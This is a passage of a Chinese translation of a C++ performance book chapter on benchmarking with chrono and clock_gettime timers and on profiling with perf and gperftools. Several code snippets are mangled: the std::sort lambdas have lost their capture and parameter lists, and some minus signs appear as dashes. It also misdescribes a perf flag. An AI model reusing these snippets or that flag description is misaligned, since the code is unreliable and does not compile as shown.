  constexpr unsigned int L = 1 << 18, N = 1 << 14; 
  unique_ptr<char[]> s(new char[L]);
  vector<const char*> vs(N);
  minstd_rand rgen;
  ::memset(s.get(), 'a', N*sizeof(char));
  for (unsigned int i = 0; i < L/1024; ++i) {
     s[rgen() % (L - 1)] = 'a' + (rgen() % ('z' - 'a' + 1));
  }
  s[L-1] = 0;
  for (unsigned int i = 0; i < N; ++i) {
     vs[i] = &s[rgen() % (L - 1)];
  }

字符串L的大小和子字符串N的数量被选择为在用于运行这些测试的计算机上具有合理的运行时间(如果你想重复这些示例,你可能需要根据你的处理器的速度调整数字)。

现在我们的示例已经准备好编译和执行了:

图 2.1

图 2.1

你得到的结果取决于你使用的编译器、运行的计算机,当然还取决于数据语料库。

现在我们已经有了第一个性能测量,你可能会问的第一个问题是,我们该如何优化它?然而,这并不是你应该问的第一个问题。真正的第一个问题应该是,“我们需要优化吗?”要回答这个问题,你需要有性能的目标和目标,以及关于程序其他部分相对性能的数据;例如,如果实际字符串是从需要十个小时的模拟生成的,那么排序它需要的一百秒几乎不值得注意。当然,我们仍然在处理人工示例,除非我们假设是的,否则在本章中我们不会有太大进展,我们必须改善性能。

现在,我们准备好讨论如何优化了吗?再次,不要那么着急:现在应该问的问题是,“我们要优化什么?”或者更一般地说,程序花费最多时间的地方是哪里?即使在这个简单的示例中,可能是排序本身或比较函数。我们无法访问排序的源代码(除非我们想要黑掉标准库),但我们可以在比较函数中插入计时器调用。

不幸的是,这不太可能产生良好的结果:每次比较都非常快,计时器调用本身需要时间,每次调用函数时调用计时器将显著改变我们试图测量的结果。在现实世界的程序中,使用计时器进行这样的仪器测量通常也不切实际。如果你不知道时间花在哪里(没有任何测量,你怎么知道呢?),你将不得不在数百个函数中插入计时器。这就是性能分析工具发挥作用的地方。

我们将在下一节中更多地了解性能分析工具。现在,可以说以下命令行将编译和执行程序,并使用 GperfTools 包中的 Google 分析器收集其运行时配置文件:

图 2.2

图 2.2

配置文件数据存储在文件prof.data中,由CPUPROFILE环境变量给出。你可能已经注意到,这次程序运行时间更长了。这几乎是性能分析的一个不可避免的副作用。我们将在下一节回到这个问题。假设性能分析工具本身正常工作,程序的不同部分的相对性能应该仍然是正确的。

输出的最后一行告诉我们,分析器已经为我们收集了一些数据,现在我们需要以可读的格式显示它。对于 Google 分析器收集的数据,用户界面工具是google-pprof(通常安装为pprof),最简单的调用方式只是列出程序中的每个函数,以及在该函数中花费的时间的比例(第二列):

图 2.3

图 2.3

分析器显示几乎所有的时间都花在了比较函数compare()上,而排序几乎没有花费任何时间(第二行是std::sort调用的函数之一,应该被视为在排序中花费的时间的一部分,但不包括在比较中)。请注意,对于任何实际的分析,我们需要收集更多的样本,这取决于程序运行的时间,为了获得可靠的数据,您需要在每个要测量的函数中积累至少几十个样本。在我们的情况下,结果是如此明显,我们可以继续使用我们收集的样本。

由于子字符串比较函数占总运行时间的 98%,我们只有两种方法可以提高性能:我们可以使这个函数更快,或者我们可以减少调用它的次数(许多人忘记了第二种可能性,直接选择第一种)。第二种方法需要使用不同的排序算法,因此超出了本书的范围。在这里,我们将专注于第一种选择。让我们再次审查一下比较函数的代码:

bool compare(const char* s1, const char* s2, unsigned int l) {
  if (s1 == s2) return false;
  for (unsigned int i1 = 0, i2 = 0; i1 < l; ++i1, ++i2) {
     if (s1[i1] != s2[i2]) return s1[i1] > s2[i2];
  }
  return false;
}

这只是几行代码,我们应该能够理解和预测它的行为。这里有一个检查,用于比较子字符串是否相同,这肯定比逐个字符进行比较要快,因此,除非我们确定该函数从不使用相同的指针值调用,否则这一行保留。

然后是一个循环(循环体逐个比较字符),我们必须这样做是因为我们不知道哪个字符可能不同。循环本身运行直到我们找到一个不同之处,或者直到我们比较了最大可能数量的字符。很容易看出后一种情况不可能发生:字符串以空字符结尾,因此,即使两个子字符串中的所有字符都相同,迟早我们会到达较短子字符串的末尾,将其末尾的空字符与另一个子字符串中的非空字符进行比较,较短的子字符串将被认为是两者中较小的。

唯一可能读取字符串末尾之外的情况是当两个子字符串从同一位置开始,但我们在函数的开头就检查了这一点。这很好:我们发现了一些不必要的工作,因此我们可以优化代码,摆脱每次循环迭代中的一个比较操作。考虑到循环体中没有太多其他操作,这应该是显著的。

代码的改变很简单:我们可以只删除比较(我们也不再需要将长度传递给比较函数):

bool compare(const char* s1, const char* s2) {
  if (s1 == s2) return false;
  for (unsigned int i1 = 0, i2 = 0;; ++i1, ++i2) {
     if (s1[i1] != s2[i2]) return s1[i1] > s2[i2];
  }
  return false;
}

更少的参数,更少的操作,代码量也更少。让我们运行程序,看看这种优化节省了我们多少运行时间:

图 2.4

图 2.4

说这并不是按计划进行的将是一个严重的低估。原始代码花了 98 毫秒来解决同样的问题(图 2.1)。尽管“优化”代码做的工作更少,但花了 210 毫秒(请注意,并非所有编译器在这个例子上都表现出这种性能异常,但我们使用的是真正的生产编译器;这里没有任何诡计,这也可能发生在你身上)。

为了总结这个例子,实际上是一个大大简化的真实程序的例子,我要告诉您,当我们试图优化代码片段时,另一位程序员正在代码的另一个部分工作,也需要一个子字符串比较函数。当分别开发的代码片段放在一起时,只保留了这个函数的一个版本,而这恰好是我们没有编写的版本;另一位程序员几乎写了完全相同的代码:

 bool compare(const char* s1, const char* s2) {
  if (s1 == s2) return false;
  for (int i1 = 0, i2 = 0;; ++i1, ++i2) {
     if (s1[i1] != s2[i2]) return s1[i1] > s2[i2];
  }
  return false;
}

检查这段代码片段和前面的代码片段,看看你能否发现其中的区别。

唯一的区别是循环变量的类型:之前,我们使用了unsigned int,这并没有错:索引从 0 开始并递增;我们不期望出现任何负数。最后的代码片段使用了int,不必要地放弃了可能的索引值范围的一半。

在这次代码整合之后,我们可以再次运行我们的基准测试,这次使用新的比较函数。结果又是意想不到的:

图 2.5

图 2.5

最新版本花费了 74 毫秒,比我们原始版本快(98 毫秒,图 2.1),比几乎相同的第二个版本快得多(210 毫秒,图 2.2)。

关于这个特定的谜团的解释,您将不得不等到下一章。本节的目标是说服您永远不要猜测性能:所谓的“显而易见”的优化——用更少的代码进行完全相同的计算——出乎意料地失败了,而本来根本不应该有任何影响的微不足道的改变——在一个所有值都是非负的函数中使用有符号整数而不是无符号整数——竟然成为了一种有效的优化。

如果性能结果在这个非常简单的例子中都如此反直觉,那么做出关于性能的良好决策的唯一方法必须是基于测量的方法。在本章的其余部分,我们将看到一些用于收集性能测量的最常用工具,学习如何使用它们以及如何解释它们的结果。

性能基准测试

程序收集性能信息的最简单方法是运行它并测量所需的时间。当然,我们需要比这更多的数据才能进行任何有用的优化:知道程序的哪些部分使其花费那么长时间会很好,这样我们就不会浪费时间优化可能非常低效但花费时间很少且对最终结果没有贡献的代码。

我们在添加计时器到示例程序时已经看到了一个简单的例子:现在我们知道排序本身需要多长时间。简而言之,这就是基准测试的整个理念。其余的工作是费力的,用计时器对代码进行仪器化,收集信息,并以有用的格式报告。让我们看看我们有哪些工具,从语言本身提供的计时器开始。

C++ chrono 计时器

C++有一些设施可以用于收集时间信息,它们在其 chrono 库中。您可以测量程序中任意两点之间经过的时间:

#include <chrono>
using std::chrono::duration_cast;
using std::chrono::milliseconds;
using std::chrono::system_clock; 
  … 
auto t0 = system_clock::now();
  … do some work …
auto t1 = system_clock::now();
auto delta_t = duration_cast<milliseconds>(t1 – t0);
cout << "Time: " << delta_t.count() << endl;

我们应该指出,C++ chrono 时钟测量实际时间(通常称为挂钟时间)。通常,这是您想要测量的。但是,更详细的分析通常需要测量 CPU 时间,这是 CPU 工作时经过的时间,当 CPU 空闲时停止。在单线程程序中,CPU 时间不能大于实际时间;如果程序计算密集型,那么两个时间理想情况下应该是相同的,这意味着 CPU 已经完全加载。另一方面,用户界面程序大部分时间都在等待用户和空闲 CPU;在这种情况下,我们希望 CPU 时间尽可能低:这表明程序高效,并尽可能少地使用 CPU 资源来服务用户的请求。为此,我们必须超越 C++17 提供的内容。

高分辨率计时器

要测量 CPU 时间,我们必须使用特定于操作系统的系统调用;在 Linux 和其他符合 POSIX 标准的系统上,我们可以使用clock_gettime()调用来访问硬件高分辨率计时器:

timespec t0, t1;
clockid_t clock_id = …; // Specific clock
clock_gettime(clock_id, &t0);
   … do some work …  
clock_gettime(clock_id, &t1);
double delta_t = t1.tv_sec – t0.tv_sec +
     1e-9*(t1.tv_nsec – t0.tv_nsec);

该函数将当前时间返回到其第二个参数中;tv_sec是自过去某个时间点以来的秒数,tv_nsec是自上一整秒以来的纳秒数。时间的起点实际上并不重要,因为我们总是测量时间间隔;但是,要小心先减去秒数,然后再加上纳秒数,否则,通过减去两个大数,您将丢失结果的有效数字。

在前面的代码中,我们可以使用几个硬件计时器,其中一个是由clock_id变量的值选择的。我们已经使用过的是相同的系统或实时时钟。它的 ID 是CLOCK_REALTIME。我们感兴趣的另外两个计时器是两个 CPU 计时器:CLOCK_PROCESS_CPUTIME_ID是一个测量当前程序使用的 CPU 时间的计时器,CLOCK_THREAD_CPUTIME_ID是一个类似的计时器,但它只测量调用线程使用的时间。

在对代码进行基准测试时,通常有助于从多个计时器中报告测量结果。在最简单的情况下,即单线程程序进行不间断计算时,所有三个计时器应该返回相同的结果:

double duration(timespec a, timespec b) {
  return a.tv_sec - b.tv_sec + 1e-9*(a.tv_nsec - b.tv_nsec);
}
   …
{
  timespec rt0, ct0, tt0;
  clock_gettime(CLOCK_REALTIME, &rt0);
  clock_gettime(CLOCK_PROCESS_CPUTIME_ID, &ct0);
  clock_gettime(CLOCK_THREAD_CPUTIME_ID, &tt0);
  constexpr double X = 1e6;
  double s = 0;
  for (double x = 0; x < X; x += 0.1) s += sin(x);
  timespec rt1, ct1, tt1;
  clock_gettime(CLOCK_REALTIME, &rt1);
  clock_gettime(CLOCK_PROCESS_CPUTIME_ID, &ct1);
  clock_gettime(CLOCK_THREAD_CPUTIME_ID, &tt1);
  cout << "Real time: " << duration(rt1, rt0) << "s, "
            "CPU time: " << duration(ct1, ct0) << "s, "
            "Thread time: " << duration(tt1, tt0) << "s" <<
              endl;
}

这里的“CPU 密集型工作”是某种计算,所有三个时间应该几乎相同。您可以通过任何类型的计算的简单实验来观察到这一点。时间的值将取决于计算机的速度,但是除此之外,结果应该看起来像这样:

Real time: 0.3717s, CPU time: 0.3716s, Thread time: 0.3716s

如果报告的 CPU 时间与实际时间不匹配,很可能是机器负载过重(许多其他进程正在竞争 CPU 资源),或者程序内存不足(如果程序使用的内存超过了机器上的物理内存,它将不得不使用速度慢得多的磁盘交换,而 CPU 在程序等待内存从磁盘中分页时无法执行任何工作)。

另一方面,如果程序没有进行太多计算,而是等待用户输入,或者从网络接收数据,或者进行其他不需要太多 CPU 资源的工作,我们将看到非常不同的结果。观察这种行为的最简单方法是调用sleep()函数而不是我们之前使用的计算:

{
  timespec rt0, ct0, tt0;
  clock_gettime(CLOCK_REALTIME, &rt0);
  clock_gettime(CLOCK_PROCESS_CPUTIME_ID, &ct0);
  clock_gettime(CLOCK_THREAD_CPUTIME_ID, &tt0);
  sleep(1);
  timespec rt1, ct1, tt1;
  clock_gettime(CLOCK_REALTIME, &rt1);
  clock_gettime(CLOCK_PROCESS_CPUTIME_ID, &ct1);
  clock_gettime(CLOCK_THREAD_CPUTIME_ID, &tt1);
  cout << "Real time: " << duration(rt1, rt0) << "s, "
          "CPU time: " << duration(ct1, ct0) << "s, "
          "Thread time: " << duration(tt1, tt0) << "s" <<
              endl;
}

现在我们将希望看到一个休眠程序使用非常少的 CPU:

Real time: 1.000s, CPU time: 3.23e-05s, Thread time: 3.32e-05s

对于在套接字或文件上被阻塞或等待用户操作的程序,情况也应该是如此。

到目前为止,我们还没有看到两个 CPU 计时器之间的任何差异,除非您的程序使用线程,否则您也不会看到任何差异。我们可以让我们的计算密集型程序执行相同的工作,但使用单独的线程:

{
  timespec rt0, ct0, tt0;
  clock_gettime(CLOCK_REALTIME, &rt0);
  clock_gettime(CLOCK_PROCESS_CPUTIME_ID, &ct0);
  clock_gettime(CLOCK_THREAD_CPUTIME_ID, &tt0);
  constexpr double X = 1e6;
  double s = 0;
  auto f = std::async(std::launch::async, 
     [&]{ for (double x = 0; x < X; x += 0.1) s += sin(x); 
      });
  f.wait();
  timespec rt1, ct1, tt1;
  clock_gettime(CLOCK_REALTIME, &rt1);
  clock_gettime(CLOCK_PROCESS_CPUTIME_ID, &ct1);
  clock_gettime(CLOCK_THREAD_CPUTIME_ID, &tt1);
  cout << "Real time: " << duration(rt1, rt0) << "s, "
          "CPU time: " << duration(ct1, ct0) << "s, "
          "Thread time: " << duration(tt1, tt0) << "s" <<
              endl;
}

计算的总量保持不变,仍然只有一个线程在工作,因此我们不希望实时或整个进程的 CPU 时间发生任何变化。然而,调用定时器的线程现在处于空闲状态;它所做的就是等待std::async返回的未来,直到工作完成。这种等待与前面例子中的sleep()函数非常相似,我们可以从结果中看到:

Real time: 0.3774s, CPU time: 0.377s, Thread time: 7.77e-05s

现在实时和整个进程的 CPU 时间看起来像“重型计算”示例中的那样,但特定线程的 CPU 时间很低,就像“睡眠”示例中的那样。这是因为整体程序正在进行大量计算,但调用定时器的线程确实大部分时间都在睡眠。

大多数情况下,如果我们要使用线程进行计算,目标是更快地进行更多的计算,因此我们将使用多个线程并在它们之间分配工作。让我们修改前面的例子,也在主线程上进行计算:

{
  timespec rt0, ct0, tt0;
  clock_gettime(CLOCK_REALTIME, &rt0);
  clock_gettime(CLOCK_PROCESS_CPUTIME_ID, &ct0);
  clock_gettime(CLOCK_THREAD_CPUTIME_ID, &tt0);
  constexpr double X = 1e6;
  double s1 = 0, s2 = 0;
  auto f = std::async(std::launch::async, 
     [&]{ for (double x = 0; x < X; x += 0.1) s1 += sin(x);
       });
  for (double x = 0; x < X; x += 0.1) s2 += sin(x);
  f.wait();
  timespec rt1, ct1, tt1;
  clock_gettime(CLOCK_REALTIME, &rt1);
  clock_gettime(CLOCK_PROCESS_CPUTIME_ID, &ct1);
  clock_gettime(CLOCK_THREAD_CPUTIME_ID, &tt1);
  cout << "Real time: " << duration(rt1, rt0) << "s, "
          "CPU time: " << duration(ct1, ct0) << "s, "
          "Thread time: " << duration(tt1, tt0) << "s" <<
              endl;
}

现在两个线程都在进行计算,因此程序使用的 CPU 时间以双倍速率流逝,与实际时间相比。

Real time: 0.5327s, CPU time: 1.01s, Thread time: 0.5092s

这很不错:我们在只有 0.53 秒的实际时间内完成了 1 秒的计算。理想情况下,这应该是 0.5 秒,但实际上,启动线程和等待它们会有一些开销。此外,两个线程中的一个可能需要更长的时间来完成工作,然后另一个线程有时会处于空闲状态。

对程序进行基准测试是收集性能数据的一种强大方式。仅通过观察执行函数或处理事件所需的时间,我们就可以了解代码的性能。对于计算密集型代码,我们可以看到程序是否确实在不停地进行计算,还是在等待某些东西。对于多线程程序,我们可以测量并发性有多有效以及开销是多少。但我们不仅仅局限于收集执行时间:我们还可以报告任何我们认为相关的计数和值:函数被调用的次数,我们排序的平均字符串长度,任何我们需要帮助解释测量的东西。

然而,这种灵活性是有代价的:通过基准测试,我们几乎可以回答关于程序性能的任何问题。但我们必须首先提出问题:我们只报告我们决定测量的内容。如果我们想知道某个函数需要多长时间,我们必须为其添加定时器;如果没有,我们将无法得知任何信息,直到重写代码并重新运行基准测试。另一方面,在代码中到处添加定时器也不可取:这些函数调用相当昂贵,因此使用太多可能会减慢程序速度并扭曲性能测量。通过经验和良好的编码纪律,你可以学会提前为自己编写的代码进行仪器化,这样至少它的主要部分可以轻松进行基准测试。

但是,如果你不知道从哪里开始怎么办?如果你继承了一个没有为任何基准测试进行仪器化的代码库怎么办?或者,也许你将性能瓶颈隔离到了一个大段代码中,但里面没有更多的定时器了怎么办?一种方法是继续对代码进行仪器化,直到你有足够的数据来分析问题。但这种蛮力方法很慢,所以你会希望得到一些关于在哪里集中努力的指导。这就是性能分析的作用:它让你可以为一个没有手动进行简单基准测试的程序收集性能数据。我们将在下一节学习有关性能分析的知识。

性能分析

我们将要学习的下一组性能分析工具是分析工具,或分析器。我们已经看到了一个分析器的使用:在上一节中,我们使用它来识别占用大部分计算时间的函数。这正是分析器的用途,用于找到“热点”函数和代码片段,也就是程序花费大部分时间的代码行。

有许多不同的分析工具可用,包括商业和开源的。在本节中,我们将研究两种在 Linux 系统上流行的分析器。我们的目标不是让你成为某个特定工具的专家,而是让你了解你选择使用的分析器可以期望什么以及如何解释其结果。

首先,让我们指出有几种不同类型的分析器:

  • 一些分析器执行解释器或虚拟机下的代码,并观察它花费时间的地方。这些分析器的主要缺点是,它们使程序运行速度比直接编译成机器指令的代码慢得多,至少对于像 C++这样被编译而不通常在虚拟机下运行的语言来说是这样。

  • 其他分析器要求在编译或链接期间使用特殊指令对代码进行仪器化。这些指令为分析器提供额外的信息,例如,当函数被调用或循环开始和结束时,它们可以通知数据收集引擎。这些分析器比前一种类型的分析器更快,但仍然比本地执行慢。它们还需要对代码进行特殊编译,并依赖于一个假设,即仪器化的代码与原始代码具有相同的性能,至少是相对的,如果不是绝对的。

  • 大多数现代分析器使用现代 CPU 上存在的硬件事件计数器。这些是可以用来跟踪特定硬件事件的特殊硬件寄存器。一个硬件事件的例子是执行一条指令。你可以看到这对于分析是如何有用的:处理器将为我们计算指令而无需任何额外的仪器或开销。我们所需要做的就是读取计数器寄存器的值。

不幸的是,有用的分析比简单地计算指令要复杂一些。我们需要知道每个函数甚至每行代码花费了多少时间。如果分析器在执行每个函数(或每个循环、每行代码等)之前和之后读取指令计数,就可以做到这一点。这就是为什么一些分析器使用混合方法:它们对代码进行仪器化以标记感兴趣的点,但使用硬件性能计数器进行实际测量。

其他分析器依赖于基于时间的采样:它们在一定的间隔内中断程序,比如每 10 毫秒一次,并记录性能计数器的值以及程序的当前位置(即将执行的指令)。如果,比如,所有样本中有 90%是在调用compare()函数时进行的,我们可以假设程序花费了 90%的时间进行字符串比较。这种方法的准确性取决于采样数量和采样之间的间隔。

我们对程序执行的采样越频繁,我们收集的数据就越多,但开销也越大。基于硬件的分析器在某些情况下可能对程序的运行时没有任何不利影响,如果采样不是太频繁的话。

性能分析器

我们将在本节中学习的第一个分析器工具是 Linux 的perf分析器。这是 Linux 上最流行的分析器之一,因为它几乎安装在大多数发行版中。这个分析器使用硬件性能计数器和基于时间的采样;它不需要对代码进行任何仪器化。

运行这个性能分析器的最简单方法是收集整个程序的计数器值;这是使用perf stat命令完成的:

图 2.6

图 2.6

正如您在图 2.6中所看到的,编译不需要任何特殊选项或工具。程序由性能分析器执行,stat选项告诉性能分析器在整个程序运行期间显示硬件性能计数器中累积的计数。在这种情况下,我们的程序运行了 158 毫秒(与程序本身打印的时间一致),执行了超过 13 亿条指令。还显示了其他几个计数器,如“页面错误”和“分支”。这些计数器是什么,还有哪些计数器可以看到?

事实证明,现代 CPU 可以收集许多不同类型的事件的统计信息,但一次只能收集少数类型;在前面的例子中,报告了八个计数器,因此我们可以假设这个 CPU 有八个独立的计数器。然而,这些计数器中的每一个都可以被分配来计算许多事件类型中的一个。性能分析器本身可以列出所有已知的事件,并且可以对其进行计数:

图 2.7

图 2.7

图 2.7中的列表是不完整的(打印输出会继续很多行),并且可用的确切计数器会因 CPU 而异(如果您使用虚拟机,则还会受到 hypervisor 的类型和配置的影响)。我们在图 2.6中收集的性能分析运行结果只是默认的计数器集,但我们可以选择其他计数器进行性能分析:

图 2.8

图 2.8

图 2.8中,我们测量 CPU 周期和指令,以及分支、分支丢失、缓存引用和缓存丢失。这些计数器及其监视的事件的详细解释将在下一章中介绍。

简而言之,周期时间是 CPU 频率的倒数,因此 3GHz 的 CPU 可以每秒运行 30 亿个周期。顺便说一句,大多数 CPU 可以以可变速度运行,这会使测量变得复杂。因此,为了进行准确的性能分析和基准测试,建议禁用节能模式和其他可能导致 CPU 时钟变化的功能。指令计数器测量执行的处理器指令数量;正如您所看到的,CPU 平均每个周期执行了近四条指令。

"分支"是条件指令:每个if语句和每个带有条件的for循环至少生成一个这样的指令。分支丢失将在下一章中详细解释;现在我们只能说,从性能角度来看,这是一个昂贵且不希望发生的事件。

"缓存引用"计算 CPU 需要从内存中获取数据的次数。大多数情况下,“数据”是一段数据,比如字符串中的一个字符。根据处理器和内存的状态,这种获取可能非常快或非常慢;后者被计为“缓存丢失”(“慢”是一个相对概念;相对于 3GHz 的处理器速度,1 微秒是一个非常长的时间)。内存层次结构将在后面的章节中解释;同样,缓存丢失是一个昂贵的事件。

掌握了 CPU 和内存的工作原理,您将能够利用这些测量来评估程序的整体效率,并确定限制其性能的因素类型。

到目前为止,我们只看到了整个程序的测量。图 2.8中的测量可能告诉我们是什么在阻碍我们代码的性能:例如,如果我们暂时接受“缓存未命中”对性能不利,我们可以推断出这段代码的主要问题是其低效的内存访问(十次内存访问中有一次是慢的)。然而,这种类型的数据并不告诉我们代码的哪些部分负责性能不佳。为此,我们需要收集数据不仅在程序执行之前和之后,还在程序执行期间。让我们看看如何使用perf来做到这一点。

使用 perf 进行详细分析

perf分析器将硬件计数器与基于时间间隔的采样相结合,记录运行程序的性能概况。对于每个样本,它记录程序计数器的位置(要执行的指令的地址)和我们正在监视的性能计数器的值。运行后,数据将被分析;具有最多样本的函数和代码行负责大部分执行时间。

分析器的数据收集运行并不比整体测量运行更困难。请注意,在运行时,指令地址被收集;要将这些转换为原始源代码中的行号,程序必须使用调试信息进行编译。如果您习惯于两种编译模式,“优化”和“非优化调试”,那么编译器选项的这种组合可能会让您感到惊讶:调试和优化都已启用。后者的原因是我们需要对将在生产中运行的相同代码进行分析,否则数据大多是无意义的。考虑到这一点,我们可以为分析编译代码并使用perf record命令运行分析器:

图 2.9

图 2.9

就像perf stat一样,我们可以指定一个计数器或一组计数器来监视,但是这次,我们接受默认计数器。我们没有指定采样的频率;同样,也有一个默认值,但我们也可以明确指定:例如,perf record -c 1000每秒记录 1000 个样本。

程序运行,产生常规输出,以及来自分析器的消息。最后一个告诉我们,分析样本已经捕获在名为perf.data的文件中(同样,这是可以更改的默认值)。要可视化来自此文件的数据,我们需要使用分析工具,它也是同一 perftools 套件的一部分,具体来说是perf report命令。运行此命令将启动此屏幕:

图 2.10

图 2.10

这是分析摘要,按功能的执行时间分解。从这里,我们可以深入研究任何功能,并查看哪些行对执行时间贡献最大:

图 2.11

图 2.11

图 2.11左侧的数字是每行所花费的执行时间的百分比。那么,“行”到底告诉我们什么?图 2.11说明了分析此类概要的更频繁的困难之一。它显示了源代码和由此产生的汇编指令;执行时间计数器自然与每个硬件指令相关联(这是 CPU 执行的内容,因此是唯一可以计数的内容)。编译代码和源代码之间的对应关系是由编译器嵌入的调试信息由分析器建立的。不幸的是,这种对应关系并不精确,原因是优化。编译器执行各种优化,所有这些优化最终都会重新排列代码并改变计算方式。即使在这个非常简单的例子中,您也可以看到结果:为什么源代码行

if (s1 == s2) return false;

为什么出现两次?原始源代码中只有一行。原因是从这一行生成的指令不都在同一个地方;优化器将它们与来自其他行的指令重新排序。因此,分析器在这条线附近显示了两次机器指令。

即使不看汇编代码,我们也可以看到时间花在比较字符上,以及运行循环本身;这两行源代码占据了大部分时间:

for (unsigned int i1 = 0, i2 = 0; i1 < l; ++i1, ++i2) {
  if (s1[i1] != s2[i2]) return s1[i1] > s2[i2];

为了充分利用分析,有助于了解我们正在工作的平台的汇编语言的基础知识(在我们的情况下是 X86 CPU)。分析器还有一些有用的工具,可以方便分析。例如,将光标放在jne(如果不相等则跳转)指令上,我们可以看到跳转会带我们去哪里,以及与跳转相关的条件:

图 2.12

图 2.12

这看起来像是跳回重复最后几行代码,所以跳转上面的cmp(比较)指令必须是循环的比较,i1 < l。总的来说,跳转和比较占据了 18%的执行时间,所以我们之前对看似不必要的比较操作的关注似乎是合理的。

perf 分析器有更多的选项和功能来分析、过滤和聚合结果,所有这些都可以从其文档中学习。此外,还有几个 GUI 前端用于这个分析器。接下来,我们将快速看一下另一个分析器,来自 Google 性能工具的分析器。

Google 性能分析器

Google CPU 分析器也使用硬件性能计数器。它还需要对代码进行链接时插装(但不需要编译时插装)。为了准备代码进行分析,你必须将其与分析器库链接:

图 2.13

图 2.13

图 2.13中,库由命令行选项-lprofiler指定。与 perf 不同,这个分析器不需要任何特殊的工具来调用程序;必要的代码已经链接到可执行文件中。插装的可执行文件不会自动开始分析自身。我们必须通过设置环境变量CPUPROFILE为我们想要存储结果的文件名来激活分析。其他选项也是通过环境变量而不是命令行选项来控制的,例如,变量CPUPROFILE_FREQUENCY设置每秒的样本数:

图 2.14

图 2.14

再次,我们看到了程序本身和分析器的输出,并且得到了我们必须分析的配置文件。分析器有交互模式和批处理模式;交互模式是一个简单的文本用户界面:

图 2.15

图 2.15

只需运行google-pprof(通常安装为pprof)并将可执行文件和配置文件的名称作为参数,就会弹出命令提示符。从这里,我们可以,例如,获取所有函数的摘要,其中包含执行时间的百分比。我们还可以在源代码级别进一步分析程序性能:

图 2.16

图 2.16

正如你所看到的,这个分析器采用了稍微不同的方法,并没有立即将我们深入到机器代码中(尽管也可以生成带注释的汇编代码)。然而,这种表面上的简单有些欺骗性:我们之前描述的注意事项仍然适用,优化编译器仍然对代码进行转换。

不同的性能分析工具由于作者采取的不同方法而具有不同的优势和劣势。我们不想把本章变成性能分析工具的手册,因此在本节的其余部分,我们将展示在收集和分析性能分析结果时可能遇到的一些常见问题。

使用调用图进行分析

到目前为止,我们简单的例子已经避开了一个实际上在每个程序中都会发生的问题。当我们发现比较函数占据了大部分执行时间时,我们立刻知道程序的哪一部分是有问题的:只有一行调用了这个函数。

大多数现实生活中的程序都不会那么简单:毕竟,我们编写函数的主要原因之一就是为了促进代码重用。很显然,许多函数将会从多个位置被调用,有些会被调用多次,而有些则只会被调用几次,通常使用非常不同的参数。仅仅知道哪个函数花费了很多时间是不够的:我们还需要知道它发生在什么上下文中(毕竟,最有效的优化可能是更少地调用昂贵的函数)。

我们需要的是一个不仅告诉我们每个函数和每行代码花费了多少时间,还告诉我们每个调用链花费了多少时间的分析结果。这些性能分析工具通常使用调用图来呈现这些信息:图中调用者和被调用者是节点,调用是边。

首先,我们必须修改我们的例子,以便我们可以从多个位置调用某个函数。让我们首先进行两次sort调用:

std::sort(vs.begin(), vs.end(), 
  & {
      ++count; return compare1(a, b, L); });
std::sort(vs.begin(), vs.end(), 
  & {
      ++count; return compare2(a, b, L); });

这些调用只在比较函数上有所不同;在我们的例子中,第一个比较函数和之前一样,而第二个则产生了相反的顺序。这两个函数都和我们旧的比较函数一样,在子字符串字符上有相同的循环:

bool compare1(const char* s1, const char* s2, unsigned int l) {
     if (s1 == s2) return false;
     for (unsigned int i1 = 0, i2 = 0; i1 < l; ++i1, ++i2) {
           int res = compare(s1[i1], s2[i2]);
           if (res != 0) return res > 0;
     }
     return false;
}
bool compare2(const char* s1, const char* s2, unsigned int l) {
     if (s1 == s2) return false;
     for (unsigned int i1 = 0, i2 = 0; i1 < l; ++i1, ++i2) {
           int res = compare(s1[i1], s2[i2]);
           if (res != 0) return res < 0;
     }
     return false;
}

这两个函数都使用相同的通用函数来比较每个字符:

int compare(char c1, char c2) {
     if (c1 > c2) return 1;
     if (c1 < c2) return -1;
     return 0;
}

当然,这并不是你在真正的程序中会这样做的方式:如果你真的想避免由于重复循环而导致的代码重复,你会编写一个由字符比较运算符参数化的单个函数。然而,我们不想偏离我们开始的例子太远,我们希望保持代码简单,这样我们可以一次解释一个复杂性。

现在我们准备生成一个调用图,它将显示字符比较的成本是如何在两次对 sort 的调用之间分配的。我们使用的两个性能分析工具都可以生成调用图;在本节中,我们将使用 Google 性能分析工具。对于这个性能分析工具,数据收集已经包括了调用链信息;我们只是到目前为止还没有尝试去可视化它。

我们编译代码并运行性能分析器,就像我们之前做的那样(为了简单起见,我们将每个函数放在自己的源文件中):

Figure 2.17

Figure 2.17

性能分析工具可以以几种不同的格式显示调用图(Postscript、GIF、PDF 等)。例如,要生成 PDF 输出,我们将运行以下命令:

google-pprof --pdf ./example prof.data > prof.pdf

我们现在感兴趣的信息在调用图的底部:

Figure 2.18

图 2.18

正如你在图 2.18中所看到的,compare()函数占据了总执行时间的 58.6%,有两个调用者。在这两个调用者中,compare1()函数比compare2()函数稍微多一些调用;前者占据了 27.6%的执行时间(如果包括其对compare()的调用所花费的时间,则为 59.8%),而后者单独占据了 13.8%的时间,或者总共占据了 40.2%的时间。

基本的调用图通常足以识别问题调用链并选择程序的进一步探索区域。性能分析工具还具有更高级的报告功能,如函数名称的过滤、结果的聚合等。掌握所选择工具的功能差异可能是知识和猜测之间的区别:解释性能分析可能会很棘手和令人沮丧,原因有很多:有些是由于工具的限制,但其他一些则更为根本。在下一节中,我们将讨论后者的一个原因:为了使测量结果相关,必须在完全优化的代码上进行。

优化和内联

我们已经看到编译器优化在解释性能分析时会使情况变得复杂:所有的性能分析最终都是在编译后的机器代码上进行的,而我们看到的程序是以源代码形式呈现的。编译器优化使这两种形式之间的关系变得模糊。在重新排列源代码方面,最具侵略性的优化之一是编译时函数调用的内联。

内联要求函数的源代码在调用点可见,因此,为了向您展示这是什么样子,我们必须将整个源代码合并到一个文件中:

bool compare(const char* s1, const char* s2, unsigned int l) {
  if (s1 == s2) return false;
  for (unsigned int i1 = 0, i2 = 0; i1 < l; ++i1, ++i2) {
     if (s1[i1] != s2[i2]) return s1[i1] > s2[i2];
  }
  return false;
}
int main() {
  … 
  size_t count = 0;
  std::sort(vs.begin(), vs.end(), 
     & {
         ++count; return compare(a, b, L); });
}

现在编译器可以并且可能会在使用排序的地方直接生成机器代码,而不是调用外部函数。这种内联是一种强大的优化工具;它经常发生,不仅仅是在同一文件中的函数。更常见的是,内联会影响头文件中的函数(整个实现都在头文件中的函数)。例如,在前面的代码中,对std::sort的调用看起来像是一个函数调用,但几乎可以肯定会被内联,因为std::sort是一个模板函数:它的整个主体都在头文件中。

